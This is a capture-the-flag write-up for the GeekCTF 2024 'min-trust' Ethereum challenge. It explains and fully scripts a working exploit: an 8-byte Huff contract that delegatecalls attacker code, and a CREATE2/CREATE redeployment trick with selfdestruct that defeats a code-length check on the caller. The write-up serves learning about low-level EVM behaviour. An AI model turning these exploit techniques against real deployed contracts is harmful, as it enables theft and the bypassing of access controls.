Post

GeekCTF 2024

GeekCTF min-trust challenge writeup

Intro

GeekCTF was a CTF held between 5th April to 14th April 2024. There was an interesting blockchain challenge which this writeup will be about.

Challenge

ChallengeDescription

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.13;

contract Challenge {
    mapping (address => uint256) public secret;
    bool public privileged;
    bool public isSolved;

    uint256 constant trustedCodeLength = 0x8;

    error NotEOA();
    error Not1337();
    error NotSuccess();
    error NotTrusted();
    error Privileged();
    error NotPrivileged();

    function vulnerable(address untrusted) public {
        if (untrusted.code.length > trustedCodeLength) revert NotTrusted();
        privileged = true;
        (bool success,) = untrusted.call("");
        if (! success) revert NotSuccess();
        privileged = false;
    }

    function cheat(uint password) public {
        if (! privileged) revert NotPrivileged();
        secret[msg.sender] = password;
    }

    function sendFlag() public {
        if (privileged) revert Privileged();
        if (msg.sender.code.length != 0) revert NotEOA();
        if (secret[msg.sender] != 0x1337) revert Not1337();
        isSolved = true;
    }
}

A single contract with three functions is given. The attack flow appears simple:

  1. Call vulnerable with untrusted having code.length < 8
  2. With the callback to untrusted, call cheat(0x1337)
  3. Call sendFlag() with the same address used to call cheat(0x1337)

However, a few problems arise:

  1. How do we call cheat(0x1337) with only an 8 byte code length?
  2. sendFlag() needs to be called by the same address that called cheat(0x1337) and have a code length of 0

With only 8 bytes, it is clear that we have to write the EVM instructions ourselves. Using evm.codes, I searched for the call opcode.

CallOpcode

The CALL opcode takes 7 values from the stack. This gives us only 1 byte to push each value to the stack. Thus, it is not possible to directly call cheat(0x1337) from our 8 byte code, and instead should call another contract which calls cheat(0x1337).

Stack input for CALL

  1. gas: amount of gas to send to the sub context to execute. The gas that is not used by the sub context is returned to this one.
  2. address: the account which code to execute.
  3. value: value in wei to send to the account.
  4. argsOffset: byte offset in the memory in bytes, the calldata of the sub context.
  5. argsSize: byte size to copy (size of the calldata).
  6. retOffset: byte offset in the memory in bytes, where to store the return data of the sub context.
  7. retSize: byte size to copy (size of the return data).

To call another contract, we would need to push the address of the contract to the stack, but we are not able to do that with 1 byte as well.

Stack input for DELEGATECALL

  1. gas: amount of gas to send to the sub context to execute. The gas that is not used by the sub context is returned to this one.
  2. address: the account which code to execute.
  3. argsOffset: byte offset in the memory in bytes, the calldata of the sub context.
  4. argsSize: byte size to copy (size of the calldata).
  5. retOffset: byte offset in the memory in bytes, where to store the return data of the sub context.
  6. retSize: byte size to copy (size of the return data).

Thankfully, the DELEGATECALL instruction only takes 6 values from the stack, giving us 2 bytes to load the address.

sload

We can place the address of the contract we want to delegateCall into the storage of the 8-byte contract, then use the SLOAD instruction to push the address to the stack. Looking at the rest of the stack inputs, we can indeed push each input with a 1-byte instruction, with the GAS instruction for gas, and CALLVALUE to push 0 to the stack for inputs 3 to 6. This is because the 8-byte contract is called with a value of 0.

I used the Huff Language to write the 8-byte contract:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define constant CALL_ADDRESS = FREE_STORAGE_POINTER()

#define macro CONSTRUCTOR() = takes(0) returns (0) {
    // Copy the argument into memory
  0x20                        // [size] - byte size to copy
  0x20 codesize sub           // [offset, size] - offset in the code to copy from
  0x00                        // [mem, offset, size] - offset in memory to copy to
  codecopy                    // []

  // Store the argument in storage
  0x00 mload             // [arg1]
  [CALL_ADDRESS]       // [OWNER_SLOT, arg1]
  sstore                      // []
}

#define macro MAIN() = takes (0) returns (0) {
    callvalue callvalue callvalue callvalue callvalue sload gas delegatecall  
}

The CONSTRUCTOR stores the address that we want to delegateCall into storage, with the MAIN containing the actual instructions that will be executed when the Challenge contract calls this contract.

The attack flow is thus far as such:

  1. Challenge contract calls 8-byte contract
  2. 8-byte contract delegatecalls contract B

Now, we are able to execute any amount of code that we want, its time to solve the second problem — sendFlag() needs to be called by the same address that called cheat(0x1337) and have a code length of 0

Given that cheat(0x1337) must be called via the callback to the 8-byte contract, it seems impossible that the caller can have a code length of 0.

However, it is known that having a code length of 0 does not necessarily mean that an address is an EOA, as code.length returns 0 when called from a constructor. Furthermore, we are able to deploy different contracts at the same address as per this article.

This makes use of the CREATE2 and CREATE opcodes used to deploy contracts.

Opcode Address depends on
CREATE sender address, sender nonce
CREATE2 sender address, salt, initialization code

We cannot directly use CREATE2 to deploy the 2 different contracts that calls cheat(0x1337) and sendFlag(), as their initilization code is different. However, CREATE2 can be used to create a deployer with the same code that then calls CREATE to deploy either the initial cheat(0x1337) contract or the sendFlag() contract.

Order of contract deployment:

  1. DeployerDeployer deploys Deployer using CREATE2, specifying salt
  2. Deployer deploys contract C using CREATE
  3. selfdestruct contracts C and Deployer
  4. DeployerDeployer deploys Deployer with same salt as (1) using CREATE2 resulting in the same address for Deployer
  5. Deployer now has a reset nonce, and deploys contract D with CREATE, which will be at the same address that contract C was at

Now, we can combine this with the initial attack flow as such:

  1. DeployerDeployer deploys Deployer using CREATE2, specifying salt
  2. Deployer deploys contract C using CREATE
  3. Challenge contract calls 8-byte contract
  4. 8-byte contract delegatecalls contract B
  5. Contract B calls contract C which calls Challenge::cheat(0x1337), then returns
  6. selfdestruct contracts C and Deployer
  7. DeployerDeployer deploys Deployer with same salt as (1)
  8. Deployer now has a reset nonce, and deploys contract D with CREATE, which will be at the same address that contract C was at
  9. The constructor of D calls Challenge::sendFlag()

Testing it out in Foundry:

Steps 1 and 2:

1-2

Steps 3-6:

3-6

Steps 7-9:

7-9

Solve scripts

Huff contract:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define constant CALL_ADDRESS = FREE_STORAGE_POINTER()

#define macro CONSTRUCTOR() = takes(0) returns (0) {
    // Copy the argument into memory
  0x20                        // [size] - byte size to copy
  0x20 codesize sub           // [offset, size] - offset in the code to copy from
  0x00                        // [mem, offset, size] - offset in memory to copy to
  codecopy                    // []

  // Store the argument in storage
  0x00 mload             // [arg1]
  [CALL_ADDRESS]       // [OWNER_SLOT, arg1]
  sstore                      // []
}

#define macro MAIN() = takes (0) returns (0) {
    callvalue callvalue callvalue callvalue callvalue sload gas delegatecall  
}

Huff deployer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import { HuffDeployer } from "foundry-huff/HuffDeployer.sol";

contract EightByteDeployer {
    uint256 public number;
    event logUint(uint256);
    event logAddr(address);
    function deploy(address contractB) public returns (address) {
        emit logAddr(contractB);
        address addr = HuffDeployer.config().with_args(abi.encode(contractB)).deploy("c");
        return addr;
    }
}

Test and deployer contracts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import { EightByteDeployer } from "../src/Counter.sol";
import { Challenge } from "../src/min-trust.sol";
import { HuffDeployer } from "foundry-huff/HuffDeployer.sol";

contract CounterTest is Test {
    EightByteDeployer public eightByteDeployer;
    address attacker;
    Challenge public chal;
    DeployerDeployer dd;
    Deployer d;
    function setUp() public {
        eightByteDeployer = new EightByteDeployer();
        chal = new Challenge();
        dd = new DeployerDeployer();
        attacker = payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker"))))));
        vm.label(attacker, "Attacker");


        vm.startPrank(attacker);
        d = Deployer(dd.deploy());
        C c = C(d.deployC(address(chal)));
        B b = new B(address(c));
        vm.stopPrank();
        address eightByte = eightByteDeployer.deploy(address(b));
        vm.label(eightByte, "eightByte");
        vm.startPrank(attacker);
        chal.vulnerable(eightByte);
        c.kill();
        d.kill();
        vm.roll(block.number+1);
    }

    function test() public {
        d = Deployer(dd.deploy());
        d.deployAttack(address(chal));
        chal.isSolved();
        vm.stopPrank();
        
    }
}

contract B {
    C cinstance;
    constructor (address c) {
        cinstance = C(c); 
    }
    fallback  () external {
        cinstance.cheat();
    }
}
contract C {
    Challenge ch;
    function kill() public {
        selfdestruct(payable(address(0)));
    }
    constructor (address chal) {
        ch = Challenge(chal);
    }
    function cheat() public {
        ch.cheat(0x1337);
    }
}

contract DeployerDeployer {
    event Log(address addr);

    function deploy() external returns (address) {
        bytes32 salt = keccak256(abi.encode(uint256(123)));
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
        return addr;
    }
}

contract Deployer {
    event Log(address addr);

    function deployC(address chal) external returns(address) {
        address addr = address(new C(chal));
        return addr;
    }

    function deployAttack(address chal) external returns(address) {
        address addr = address(new Attack(chal));
        return addr;
    }

    function kill() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    constructor (address chal)  {
        Challenge ch = Challenge(chal);
        ch.sendFlag();
    }
}

Conclusion

Learnt a lot about lower level EVM programming.

This post is licensed under CC BY 4.0 by the author.